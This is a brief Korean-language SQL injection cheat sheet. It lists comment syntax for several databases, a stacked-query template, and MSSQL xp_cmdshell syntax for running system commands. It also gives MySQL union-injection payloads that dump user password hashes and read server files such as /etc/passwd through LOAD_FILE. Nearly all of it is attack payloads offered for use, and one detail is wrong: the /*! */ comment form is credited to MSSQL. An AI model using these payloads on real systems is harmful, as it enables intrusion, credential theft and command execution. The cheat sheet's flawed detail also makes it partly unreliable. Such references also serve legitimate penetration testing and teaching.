CODEBLACK SQL Injection Cheat Sheet v1.0

출처: http://www.hahwul.com/p/sql-injection-cheat-sheet.html

DB 종류 별 주석(Line Comments)

MYSQL
단일주석: #
다중주석: /**/

MSSQL, ORACLE, POSTGRESQL
단일주석: --
다중주석: /**/

 /*!   */   : MSSQL 한정(높은버전)

MariaDB
단일주석: #
단일주석: --
다중주석: /**/

CUBRID
단일주석: --
단일주석: //
다중주석: /**/

; Stacking Queires

Example 
SELECT * FROM TEST [] WHERE id="1"
SELECT * FROM TEST [;SQL --] WHERE id="1"

시스템 명령 실행

xp_cmdshell { 'command_string' } [ , no_output ]

Union Injection

MYSQL - Command

SELECT @@version
SELECT user();
SELECT system_user();
SELECT user, password FROM mysql.user;
SELECT @@datadir;
SELECT @@hostname;

Load file

UNION ALL SELECT LOAD_FILE('/etc/passwd') --
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)